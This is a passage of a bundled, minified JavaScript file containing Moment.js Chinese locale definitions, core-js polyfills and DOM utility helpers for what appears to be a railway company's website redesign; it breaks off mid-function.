=== "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("zh-cn", { - months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), - monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), - weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), - weekdaysShort: "周日_周一_周二_周三_周四_周五_周六".split("_"), - weekdaysMin: "日_一_二_三_四_五_六".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY/MM/DD", - LL: "YYYY年M月D日", - LLL: "YYYY年M月D日Ah点mm分", - LLLL: "YYYY年M月D日ddddAh点mm分", - l: "YYYY/M/D", - ll: "YYYY年M月D日", - lll: "YYYY年M月D日 HH:mm", - llll: "YYYY年M月D日dddd HH:mm" - }, - meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "凌晨" || t === "早上" || t === "上午") { - return e - } else if (t === "下午" || t === "晚上") { - return e + 12 - } else { - return e >= 11 ? e : e + 12 - } - }, - meridiem: function (e, t, i) { - var n = e * 100 + t; - if (n < 600) { - return "凌晨" - } else if (n < 900) { - return "早上" - } else if (n < 1130) { - return "上午" - } else if (n < 1230) { - return "中午" - } else if (n < 1800) { - return "下午" - } else { - return "晚上" - } - }, - calendar: { - sameDay: "[今天]LT", - nextDay: "[明天]LT", - nextWeek: "[下]ddddLT", - lastDay: "[昨天]LT", - lastWeek: "[上]ddddLT", - sameElse: "L" - }, - dayOfMonthOrdinalParse: /\d{1,2}(日|月|周)/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "日"; - case "M": - return e + "月"; - case "w": - case "W": - return e + "周"; - default: - return e - } - }, - relativeTime: { - future: "%s内", - past: "%s前", - s: "几秒", - ss: "%d 秒", - m: "1 分钟", - mm: "%d 分钟", - h: "1 小时", - hh: "%d 小时", - d: "1 天", - dd: "%d 天", - M: "1 个月", - MM: "%d 个月", - y: "1 年", - yy: "%d 年" - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("zh-hk", { - months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), - monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), - weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), - weekdaysShort: "週日_週一_週二_週三_週四_週五_週六".split("_"), - weekdaysMin: "日_一_二_三_四_五_六".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY/MM/DD", - LL: "YYYY年M月D日", - LLL: "YYYY年M月D日 HH:mm", - LLLL: "YYYY年M月D日dddd HH:mm", - l: "YYYY/M/D", - ll: "YYYY年M月D日", - lll: "YYYY年M月D日 HH:mm", - llll: "YYYY年M月D日dddd HH:mm" - }, - meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "凌晨" || t === "早上" || t === "上午") { - return e - } else if (t === "中午") { - return e >= 11 ? e : e + 12 - } else if (t === "下午" || t === "晚上") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - var n = e * 100 + t; - if (n < 600) { - return "凌晨" - } else if (n < 900) { - return "早上" - } else if (n < 1130) { - return "上午" - } else if (n < 1230) { - return "中午" - } else if (n < 1800) { - return "下午" - } else { - return "晚上" - } - }, - calendar: { - sameDay: "[今天]LT", - nextDay: "[明天]LT", - nextWeek: "[下]ddddLT", - lastDay: "[昨天]LT", - lastWeek: "[上]ddddLT", - sameElse: "L" - }, - dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "日"; - case "M": - return e + "月"; - case "w": - case "W": - return e + "週"; - default: - return e - } - }, - relativeTime: { - future: "%s內", - past: "%s前", - s: "幾秒", - ss: "%d 秒", - m: "1 分鐘", - mm: "%d 分鐘", - h: "1 小時", - hh: "%d 小時", - d: "1 天", - dd: "%d 天", - M: "1 個月", - MM: "%d 個月", - y: "1 年", - yy: "%d 年" - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("zh-tw", { - months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), - monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), - weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), - weekdaysShort: "週日_週一_週二_週三_週四_週五_週六".split("_"), - weekdaysMin: "日_一_二_三_四_五_六".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY/MM/DD", - LL: "YYYY年M月D日", - LLL: "YYYY年M月D日 HH:mm", - LLLL: "YYYY年M月D日dddd HH:mm", - l: "YYYY/M/D", - ll: "YYYY年M月D日", - lll: "YYYY年M月D日 HH:mm", - llll: "YYYY年M月D日dddd HH:mm" - }, - meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "凌晨" || t === "早上" || t === "上午") { - return e - } else if (t === "中午") { - return e >= 11 ? e : e + 12 - } else if (t === "下午" || t === "晚上") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - var n = e * 100 + t; - if (n < 600) { - return "凌晨" - } else if (n < 900) { - return "早上" - } else if (n < 1130) { - return "上午" - } else if (n < 1230) { - return "中午" - } else if (n < 1800) { - return "下午" - } else { - return "晚上" - } - }, - calendar: { - sameDay: "[今天] LT", - nextDay: "[明天] LT", - nextWeek: "[下]dddd LT", - lastDay: "[昨天] LT", - lastWeek: "[上]dddd LT", - sameElse: "L" - }, - dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "日"; - case "M": - return e + "月"; - case "w": - case "W": - return e + "週"; - default: - return e - } - }, - relativeTime: { - future: "%s內", - past: "%s前", - s: "幾秒", - ss: "%d 秒", - m: "1 分鐘", - mm: "%d 分鐘", - h: "1 小時", - hh: "%d 小時", - d: "1 天", - dd: "%d 天", - M: "1 個月", - MM: "%d 個月", - y: "1 年", - yy: "%d 年" - } - }); - return t - }) -}, function (e, t, i) { - var n; - true ? !(n = function () { - return window - }.call(t, i, t, e), n !== undefined && (e.exports = n)) : "object" == typeof t && (e.exports = window) -}, function (e, t, i) { - var n; - true ? !(n = function () { - return document - }.call(t, i, t, e), n !== undefined && (e.exports = n)) : "object" == typeof t && (e.exports = document) -}, function (e, t, i) { - e.exports = i(137) -}, function (e, t, i) { - "use strict"; - i(138); - i(159); - i(160); - i(161); - i(162); - i(163); - i(164); - i(165); - i(166) -}, function (e, t, i) { - (function n(r, a) { - if (true) e.exports = a(i(139), i(140), i(146), i(147), i(149), i(0), i(152), i(157), i(158)); - else if (typeof define === "function" && define.amd) define(["whatwg-fetch", "packery", "imagesloaded", "gsap", "hammerjs", "moment", "inputmask", "autosize", "picturefill"], a); - else if (typeof t === "object") t["nmbs-redesign-website"] = a(require("whatwg-fetch"), require("packery"), require("imagesloaded"), require("gsap"), require("hammerjs"), require("moment"), require("inputmask"), require("autosize"), require("picturefill")); - else r["nmbs-redesign-website"] = a(r["whatwg-fetch"], r["packery"], r["imagesloaded"], r["gsap"], r["hammerjs"], r["moment"], r["inputmask"], r["autosize"], r["picturefill"]) - })(typeof self !== "undefined" ? self : this, function (e, t, i, n, r, a, s, o, l) { - return function (e) { - var t = {}; - - function i(n) { - if (t[n]) { - return t[n].exports - } - var r = t[n] = { - i: n, - l: false, - exports: {} - }; - e[n].call(r.exports, r, r.exports, i); - r.l = true; - return r.exports - } - i.m = e; - i.c = t; - i.d = function (e, t, n) { - if (!i.o(e, t)) { - Object.defineProperty(e, t, { - configurable: false, - enumerable: true, - get: n - }) - } - }; - i.n = function (e) { - var t = e && e.__esModule ? function t() { - return e["default"] - } : function t() { - return e - }; - i.d(t, "a", t); - return t - }; - i.o = function (e, t) { - return Object.prototype.hasOwnProperty.call(e, t) - }; - i.p = ""; - return i(i.s = 170) - }([function (e, t, i) { - var n = i(9); - var r = i(36); - var a = i(19); - var s = i(32); - var o = i(25); - var l = "prototype"; - var u = function (e, t, i) { - var d = e & u.F; - var f = e & u.G; - var c = e & u.S; - var h = e & u.P; - var m = e & u.B; - var p = f ? n : c ? n[t] || (n[t] = {}) : (n[t] || {})[l]; - var v = f ? r : r[t] || (r[t] = {}); - var _ = v[l] || (v[l] = {}); - var g, y, b, w; - if (f) i = t; - for (g in i) { - y = !d && p && p[g] !== undefined; - b = (y ? p : i)[g]; - w = m && y ? o(b, n) : h && typeof b == "function" ? o(Function.call, b) : b; - if (p) s(p, g, b, e & u.U); - if (v[g] != b) a(v, g, w); - if (h && _[g] != b) _[g] = b - } - }; - n.core = r; - u.F = 1; - u.G = 2; - u.S = 4; - u.P = 8; - u.B = 16; - u.W = 32; - u.U = 64; - u.R = 128; - e.exports = u - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - t.default = function (e, t) { - if (!(e instanceof t)) { - throw new TypeError("Cannot call a class as a function") - } - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.init = t.Component = undefined; - var n = i(13); - var r = c(n); - var a = i(58); - var s = c(a); - var o = i(1); - var l = c(o); - var u = i(7); - var d = f(u); - - function f(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function c(e) { - return e && e.__esModule ? e : { - default: e - } - } - var h = t.Component = function e(t, i) { - var n = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; - (0, l.default)(this, e); - this.el = t; - this.settings = n; - this.settings = (0, s.default)({}, i, this.settings); - if (this.settings.attributes) { - this.settings = (0, s.default)({}, this.settings, d.getDataAttributes(this.el)) - } - this.state = {} - }; - var m = t.init = function e(t, i) { - var n = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; - var a = []; - if (typeof i === "string") { - a = (0, r.default)(document.querySelectorAll(i)) - } else if (Array.isArray(i)) { - a = i - } else { - a.push(i) - } - a = a.map(function (e) { - var i = new t(e, n); - if (t.instances !== undefined) { - t.instances.push(i) - } - return i - }); - return a.length === 1 ? a[0] : a - } - }, function (e, t, i) { - e.exports = { - default: i(412), - __esModule: true - } - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - var n = i(59); - var r = a(n); - - function a(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.default = function (e, t) { - if (!e) { - throw new ReferenceError("this hasn't been initialised - super() hasn't been called") - } - return t && ((typeof t === "undefined" ? "undefined" : (0, r.default)(t)) === "object" || typeof t === "function") ? t : e - } - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - var n = i(417); - var r = u(n); - var a = i(154); - var s = u(a); - var o = i(59); - var l = u(o); - - function u(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.default = function (e, t) { - if (typeof t !== "function" && t !== null) { - throw new TypeError("Super expression must either be null or a function, not " + (typeof t === "undefined" ? "undefined" : (0, l.default)(t))) - } - e.prototype = (0, s.default)(t && t.prototype, { - constructor: { - value: e, - enumerable: false, - writable: true, - configurable: true - } - }); - if (t) r.default ? (0, r.default)(e, t) : e.__proto__ = t - } - }, function (e, t, i) { - "use strict"; - t.__esModule = true; - var n = i(414); - var r = a(n); - - function a(e) { - return e && e.__esModule ? e : { - default: e - } - } - t.default = function () { - function e(e, t) { - for (var i = 0; i < t.length; i++) { - var n = t[i]; - n.enumerable = n.enumerable || false; - n.configurable = true; - if ("value" in n) n.writable = true; - (0, r.default)(e, n.key, n) - } - } - return function (t, i, n) { - if (i) e(t.prototype, i); - if (n) e(t, n); - return t - } - }() - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.replaceAccents = t.offset = t.getDocumentHeight = t.isDescendant = t.serialize = t.regexcape = t.trigger = t.on = t.setDataAttribute = t.getDataAttributesRaw = t.getDataAttributes = t.toggleClass = t.removeClass = t.addClass = t.hasClass = t.get = t.slugify = t.insertAfter = undefined; - var n = i(59); - var r = a(n); - - function a(e) { - return e && e.__esModule ? e : { - default: e - } - } - var s = t.insertAfter = function e(t, i) { - if (i.parentNode) { - i.parentNode.insertBefore(t, i.nextSibling) - } - }; - var o = t.slugify = function e(t) { - var i = { - "à": "a", - "ä": "a", - "á": "a", - "â": "a", - "æ": "a", - "å": "a", - "ë": "e", - "è": "e", - "é": "e", - "ê": "e", - "î": "i", - "ï": "i", - "ì": "i", - "í": "i", - "ò": "o", - "ó": "o", - "ö": "o", - "ô": "o", - "ø": "o", - "ù": "o", - "ú": "u", - "ü": "u", - "û": "u", - "ñ": "n", - "ç": "c", - "ß": "s", - "ÿ": "y", - "œ": "o", - "ŕ": "r", - "ś": "s", - "ń": "n", - "ṕ": "p", - "ẃ": "w", - "ǵ": "g", - "ǹ": "n", - "ḿ": "m", - "ǘ": "u", - "ẍ": "x", - "ź": "z", - "ḧ": "h", - "·": "-", - "/": "-", - _: "-", - ",": "-", - ":": "-", - ";": "-" - }; - return t.toString().toLowerCase().replace(/\s+/g, "-").replace(/./g, function (e) { - return i[e] || e - }).replace(/&/g, "-and-").replace(/[^\w-]+/g, "").replace(/--+/g, "-").replace(/^-+/, "").replace(/-+$/, "") - }; - var l = t.get = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : document; - var n = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; - var r = [].slice.call(i.querySelectorAll(t)); - return r.length > 1 || n ? r : r[0] - }; - var u = t.hasClass = function e(t, i) { - if (!t) { - console.error('hasClass: el is undefined, not able to check "' + i + '"'); - return t - } - if (t.classList) { - return t.classList.contains(i) - } else { - return new RegExp("(^| )" + i + "( |$)", "gi").test(t.className) - } - }; - var d = t.addClass = function e(t, i) { - var n = Array.isArray(i) ? i : [i]; - if (!t) { - var r = n.join(", "); - console.error('addClass: el is undefined, not able to set "' + r + '"'); - return t - } - if (t.classList) { - n.forEach(function (e) { - t.classList.add(e) - }) - } else { - n.forEach(function (e) { - t.className += " " + e - }) - } - return t - }; - var f = t.removeClass = function e(t, i) { - var n = Array.isArray(i) ? i : [i]; - if (!t) { - var r = n.join(", "); - console.error('removeClass: el is undefined, not able to remove "' + r + '"'); - return t - } - if (t.classList) { - n.forEach(function (e) { - t.classList.remove(e) - }) - } else { - n.forEach(function (e) { - t.className = t.className.replace(new RegExp("(^|\\b)" + e.split(" ").join("|") + "(\\b|$)", "gi"), " ") - }) - } - return t - }; - var c = t.toggleClass = function e(t, i) { - if (u(t, i)) f(t, i); - else d(t, i); - return t - }; - var h = t.getDataAttributes = function e(t) { - var i = t.attributes.length; - var n = /^data-/; - var r = {}; - for (var a = 0; a < i; a++) { - var s = t.attributes[a]; - if (n.test(s.name)) { - var o = s.name.substr(5); - var l = s.value; - if (l == "true" || l == "false") r[o] = l == "true" ? true : false; - else r[o] = l - } - } - return r - }; - var m = t.getDataAttributesRaw = function e(t) { - var i = t.attributes.length; - var n = /^data-/; - var r = {}; - for (var a = 0; a < i; a++) { - var s = t.attributes[a]; - if (n.test(s.name)) { - var o = s.name; - var l = s.value; - if (l == "true" || l == "false") r[o] = l == "true" ? true : false; - else r[o] = l - } - } - return r - }; - var p = t.setDataAttribute = function e(t, i, n) { - t.setAttribute("data-" + i, n); - return t - }; - var v = t.on = function e(t, i, n, r) { - if (t) { - t.addEventListener(i, function (e) { - var i = e.target; - var a = false; - while (i && !a && i !== t) { - if (i.matches && i.matches(n)) { - a = i - } else { - i = i.parentNode - } - } - if (a) { - r(e, a) - } - }) - } - }; - var _ = t.trigger = function e(t, i) { - var n = document.createEvent("HTMLEvents"); - n.initEvent(i, true, false); - t.dispatchEvent(n) - }; - var g = t.regexcape = function e(t) { - return t.replace(/[|\\{}()[\]^$+*?.]/g, "\\$&") - }; - var y = t.serialize = function e(t) { - var i = void 0, - n = void 0, - a = []; - if ((typeof t === "undefined" ? "undefined" : (0, r.default)(t)) == "object" && t.nodeName == "FORM") { - var s = t.elements.length; - for (var o = 0; o < s; o++) { - i = t.elements[o]; - if (i.name && !i.disabled && i.type != "file" && i.type != "reset" && i.type != "submit" && i.type != "button") { - if (i.type == "select-multiple") { - n = t.elements[o].options.length; - for (var l = 0; l < n; l++) { - if (i.options[l].selected) a[a.length] = encodeURIComponent(i.name) + "=" + encodeURIComponent(i.options[l].value) - } - } else if (i.type != "checkbox" && i.type != "radio" || i.checked) { - a[a.length] = encodeURIComponent(i.name) + "=" + encodeURIComponent(i.value) - } - } - } - } - return a.join("&").replace(/%20/g, "+") - }; - var b = t.isDescendant = function e(t, i) { - var n = i.parentNode; - while (n != null) { - if (n == t) { - return true - } - n = n.parentNode - } - return false - }; - var w = t.getDocumentHeight = function e() { - return Math.max(document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight) - }; - var M = t.offset = function e(t) { - var i = t.getBoundingClientRect(), - n = window.pageXOffset || document.documentElement.scrollLeft, - r = window.pageYOffset || document.documentElement.scrollTop; - return { - top: i.top + r, - left: i.left + n - } - }; - var k = t.replaceAccents = function e(t) { - return t.replace(/[àáâãäå]/g, "a").replace(/[èéêë]/g, "e").replace(/[î]/g, "i").replace(/[ô]/g, "o").replace(/[ù]/g, "u").replace(/[ç]/g, "c") - } - }, function (e, t) { - e.exports = function (e) { - return typeof e === "object" ? e !== null : typeof e === "function" - } - }, function (e, t) { - var i = e.exports = typeof window != "undefined" && window.Math == Math ? window : typeof self != "undefined" && self.Math == Math ? self : Function("return this")(); - if (typeof __g == "number") __g = i - }, function (e, t, i) { - var n = i(8); - e.exports = function (e) { - if (!n(e)) throw TypeError(e + " is not an object!"); - return e - } - }, function (e, t, i) { - var n = i(95)("wks"); - var r = i(38); - var a = i(9).Symbol; - var s = typeof a == "function"; - var o = e.exports = function (e) { - return n[e] || (n[e] = s && a[e] || (s ? a : r)("Symbol." + e)) - }; - o.store = n - }, function (e, t) { - e.exports = function (e) { - try { - return !!e() - } catch (e) { - return true - } - } - }, function (e, t, i) { - e.exports = { - default: i(259), - __esModule: true - } - }, function (e, t) { - var i = e.exports = { - version: "2.5.7" - }; - if (typeof __e == "number") __e = i - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = function e() { - var t = 1410; - var i = 992; - var n = 650; - var r = window.innerWidth; - if (r < n) { - return "sm" - } - if (r < i) { - return "md" - } - if (r < t) { - return "lg" - } - return "xl" - }; - t.getScreenSize = n - }, function (e, t, i) { - var n = i(10); - var r = i(127); - var a = i(63); - var s = Object.defineProperty; - t.f = i(18) ? Object.defineProperty : function e(t, i, o) { - n(t); - i = a(i, true); - n(o); - if (r) try { - return s(t, i, o) - } catch (e) {} - if ("get" in o || "set" in o) throw TypeError("Accessors not supported!"); - if ("value" in o) t[i] = o.value; - return t - } - }, function (e, t, i) { - var n = i(41); - var r = Math.min; - e.exports = function (e) { - return e > 0 ? r(n(e), 9007199254740991) : 0 - } - }, function (e, t, i) { - e.exports = !i(12)(function () { - return Object.defineProperty({}, "a", { - get: function () { - return 7 - } - }).a != 7 - }) - }, function (e, t, i) { - var n = i(16); - var r = i(37); - e.exports = i(18) ? function (e, t, i) { - return n.f(e, t, r(1, i)) - } : function (e, t, i) { - e[t] = i; - return e - } - }, function (e, t) { - var i = {}.hasOwnProperty; - e.exports = function (e, t) { - return i.call(e, t) - } - }, function (e, t, i) { - var n = i(87)("wks"); - var r = i(71); - var a = i(29).Symbol; - var s = typeof a == "function"; - var o = e.exports = function (e) { - return n[e] || (n[e] = s && a[e] || (s ? a : r)("Symbol." + e)) - }; - o.store = n - }, function (e, t, i) { - var n = i(92); - var r = i(42); - e.exports = function (e) { - return n(r(e)) - } - }, function (e, t, i) { - var n = i(0); - var r = i(36); - var a = i(12); - e.exports = function (e, t) { - var i = (r.Object || {})[e] || Object[e]; - var s = {}; - s[e] = t(i); - n(n.S + n.F * a(function () { - i(1) - }), "Object", s) - } - }, function (e, t, i) { - var n = i(29); - var r = i(14); - var a = i(82); - var s = i(44); - var o = i(35); - var l = "prototype"; - var u = function (e, t, i) { - var d = e & u.F; - var f = e & u.G; - var c = e & u.S; - var h = e & u.P; - var m = e & u.B; - var p = e & u.W; - var v = f ? r : r[t] || (r[t] = {}); - var _ = v[l]; - var g = f ? n : c ? n[t] : (n[t] || {})[l]; - var y, b, w; - if (f) i = t; - for (y in i) { - b = !d && g && g[y] !== undefined; - if (b && o(v, y)) continue; - w = b ? g[y] : i[y]; - v[y] = f && typeof g[y] != "function" ? i[y] : m && b ? a(w, n) : p && g[y] == w ? function (e) { - var t = function (t, i, n) { - if (this instanceof e) { - switch (arguments.length) { - case 0: - return new e; - case 1: - return new e(t); - case 2: - return new e(t, i) - } - return new e(t, i, n) - } - return e.apply(this, arguments) - }; - t[l] = e[l]; - return t - }(w) : h && typeof w == "function" ? a(Function.call, w) : w; - if (h) { - (v.virtual || (v.virtual = {}))[y] = w; - if (e & u.R && _ && !_[y]) s(_, y, w) - } - } - }; - u.F = 1; - u.G = 2; - u.S = 4; - u.P = 8; - u.B = 16; - u.W = 32; - u.U = 64; - u.R = 128; - e.exports = u - }, function (e, t, i) { - var n = i(39); - e.exports = function (e, t, i) { - n(e); - if (t === undefined) return e; - switch (i) { - case 1: - return function (i) { - return e.call(t, i) - }; - case 2: - return function (i, n) { - return e.call(t, i, n) - }; - case 3: - return function (i, n, r) { - return e.call(t, i, n, r) - } - } - return function () { - return e.apply(t, arguments) - } - } - }, function (e, t, i) { - var n = i(42); - e.exports = function (e) { - return Object(n(e)) - } - }, function (e, t, i) { - "use strict"; - if (i(18)) { - var n = i(40); - var r = i(9); - var a = i(12); - var s = i(0); - var o = i(91); - var l = i(128); - var u = i(25); - var d = i(50); - var f = i(37); - var c = i(19); - var h = i(49); - var m = i(41); - var p = i(17); - var v = i(129); - var _ = i(52); - var g = i(63); - var y = i(20); - var b = i(99); - var w = i(8); - var M = i(26); - var k = i(100); - var L = i(65); - var T = i(55); - var x = i(64).f; - var S = i(101); - var Y = i(38); - var D = i(11); - var E = i(66); - var C = i(93); - var P = i(98); - var A = i(102); - var O = i(54); - var j = i(73); - var H = i(72); - var I = i(97); - var F = i(135); - var z = i(16); - var R = i(28); - var N = z.f; - var W = R.f; - var B = r.RangeError; - var q = r.TypeError; - var $ = r.Uint8Array; - var V = "ArrayBuffer"; - var G = "Shared" + V; - var U = "BYTES_PER_ELEMENT"; - var X = "prototype"; - var J = Array[X]; - var K = l.ArrayBuffer; - var Q = l.DataView; - var Z = E(0); - var ee = E(2); - var te = E(3); - var ie = E(4); - var ne = E(5); - var re = E(6); - var ae = C(true); - var se = C(false); - var oe = A.values; - var le = A.keys; - var ue = A.entries; - var de = J.lastIndexOf; - var fe = J.reduce; - var ce = J.reduceRight; - var he = J.join; - var me = J.sort; - var pe = J.slice; - var ve = J.toString; - var _e = J.toLocaleString; - var ge = D("iterator"); - var ye = D("toStringTag"); - var be = Y("typed_constructor"); - var we = Y("def_constructor"); - var Me = o.CONSTR; - var ke = o.TYPED; - var Le = o.VIEW; - var Te = "Wrong length!"; - var xe = E(1, function (e, t) { - return Ce(P(e, e[we]), t) - }); - var Se = a(function () { - return new $(new Uint16Array([1]).buffer)[0] === 1 - }); - var Ye = !!$ && !!$[X].set && a(function () { - new $(1).set({}) - }); - var De = function (e, t) { - var i = m(e); - if (i < 0 || i % t) throw B("Wrong offset!"); - return i - }; - var Ee = function (e) { - if (w(e) && ke in e) return e; - throw q(e + " is not a typed array!") - }; - var Ce = function (e, t) { - if (!(w(e) && be in e)) { - throw q("It is not a typed array constructor!") - } - return new e(t) - }; - var Pe = function (e, t) { - return Ae(P(e, e[we]), t) - }; - var Ae = function (e, t) { - var i = 0; - var n = t.length; - var r = Ce(e, n); - while (n > i) r[i] = t[i++]; - return r - }; - var Oe = function (e, t, i) { - N(e, t, { - get: function () { - return this._d[i] - } - }) - }; - var je = function e(t) { - var i = M(t); - var n = arguments.length; - var r = n > 1 ? arguments[1] : undefined; - var a = r !== undefined; - var s = S(i); - var o, l, d, f, c, h; - if (s != undefined && !k(s)) { - for (h = s.call(i), d = [], o = 0; !(c = h.next()).done; o++) { - d.push(c.value) - } - i = d - } - if (a && n > 2) r = u(r, arguments[2], 2); - for (o = 0, l = p(i.length), f = Ce(this, l); l > o; o++) { - f[o] = a ? r(i[o], o) : i[o] - } - return f - }; - var He = function e() { - var t = 0; - var i = arguments.length; - var n = Ce(this, i); - while (i > t) n[t] = arguments[t++]; - return n - }; - var Ie = !!$ && a(function () { - _e.call(new $(1)) - }); - var Fe = function e() { - return _e.apply(Ie ? pe.call(Ee(this)) : Ee(this), arguments) - }; - var ze = { - copyWithin: function e(t, i) { - return F.call(Ee(this), t, i, arguments.length > 2 ? arguments[2] : undefined) - }, - every: function e(t) { - return ie(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - fill: function e(t) { - return I.apply(Ee(this), arguments) - }, - filter: function e(t) { - return Pe(this, ee(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined)) - }, - find: function e(t) { - return ne(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - findIndex: function e(t) { - return re(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - forEach: function e(t) { - Z(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - indexOf: function e(t) { - return se(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - includes: function e(t) { - return ae(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - join: function e(t) { - return he.apply(Ee(this), arguments) - }, - lastIndexOf: function e(t) { - return de.apply(Ee(this), arguments) - }, - map: function e(t) { - return xe(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - reduce: function e(t) { - return fe.apply(Ee(this), arguments) - }, - reduceRight: function e(t) { - return ce.apply(Ee(this), arguments) - }, - reverse: function e() { - var t = this; - var i = Ee(t).length; - var n = Math.floor(i / 2); - var r = 0; - var a; - while (r < n) { - a = t[r]; - t[r++] = t[--i]; - t[i] = a - } - return t - }, - some: function e(t) { - return te(Ee(this), t, arguments.length > 1 ? arguments[1] : undefined) - }, - sort: function e(t) { - return me.call(Ee(this), t) - }, - subarray: function e(t, i) { - var n = Ee(this); - var r = n.length; - var a = _(t, r); - return new(P(n, n[we]))(n.buffer, n.byteOffset + a * n.BYTES_PER_ELEMENT, p((i === undefined ? r : _(i, r)) - a)) - } - }; - var Re = function e(t, i) { - return Pe(this, pe.call(Ee(this), t, i)) - }; - var Ne = function e(t) { - Ee(this); - var i = De(arguments[1], 1); - var n = this.length; - var r = M(t); - var a = p(r.length); - var s = 0; - if (a + i > n) throw B(Te); - while (s < a) this[i + s] = r[s++] - }; - var We = { - entries: function e() { - return ue.call(Ee(this)) - }, - keys: function e() { - return le.call(Ee(this)) - }, - values: function e() { - return oe.call(Ee(this)) - } - }; - var Be = function (e, t) { - return w(e) && e[ke] && typeof t != "symbol" && t in e && String(+t) == String(t) - }; - var qe = function e(t, i) { - return Be(t, i = g(i, true)) ? f(2, t[i]) : W(t, i) - }; - var $e = function e(t, i, n) { - if (Be(t, i = g(i, true)) && w(n) && y(n, "value") && !y(n, "get") && !y(n, "set") && !n.configurable && (!y(n, "writable") || n.writable) && (!y(n, "enumerable") || n.enumerable)) { - t[i] = n.value; - return t - } - return N(t, i, n) - }; - if (!Me) { - R.f = qe; - z.f = $e - } - s(s.S + s.F * !Me, "Object", { - getOwnPropertyDescriptor: qe, - defineProperty: $e - }); - if (a(function () { - ve.call({}) - })) { - ve = _e = function e() { - return he.call(this) - } - } - var Ve = h({}, ze); - h(Ve, We); - c(Ve, ge, We.values); - h(Ve, { - slice: Re, - set: Ne, - constructor: function () {}, - toString: ve, - toLocaleString: Fe - }); - Oe(Ve, "buffer", "b"); - Oe(Ve, "byteOffset", "o"); - Oe(Ve, "byteLength", "l"); - Oe(Ve, "length", "e"); - N(Ve, ye, { - get: function () { - return this[ke] - } - }); - e.exports = function (e, t, i, l) { - l = !!l; - var u = e + (l ? "Clamped" : "") + "Array"; - var f = "get" + e; - var h = "set" + e; - var m = r[u]; - var _ = m || {}; - var g = m && T(m); - var y = !m || !o.ABV; - var M = {}; - var k = m && m[X]; - var S = function (e, i) { - var n = e._d; - return n.v[f](i * t + n.o, Se) - }; - var Y = function (e, i, n) { - var r = e._d; - if (l) n = (n = Math.round(n)) < 0 ? 0 : n > 255 ? 255 : n & 255; - r.v[h](i * t + r.o, n, Se) - }; - var D = function (e, t) { - N(e, t, { - get: function () { - return S(this, t) - }, - set: function (e) { - return Y(this, t, e) - }, - enumerable: true - }) - }; - if (y) { - m = i(function (e, i, n, r) { - d(e, m, u, "_d"); - var a = 0; - var s = 0; - var o, l, f, h; - if (!w(i)) { - f = v(i); - l = f * t; - o = new K(l) - } else if (i instanceof K || (h = b(i)) == V || h == G) { - o = i; - s = De(n, t); - var _ = i.byteLength; - if (r === undefined) { - if (_ % 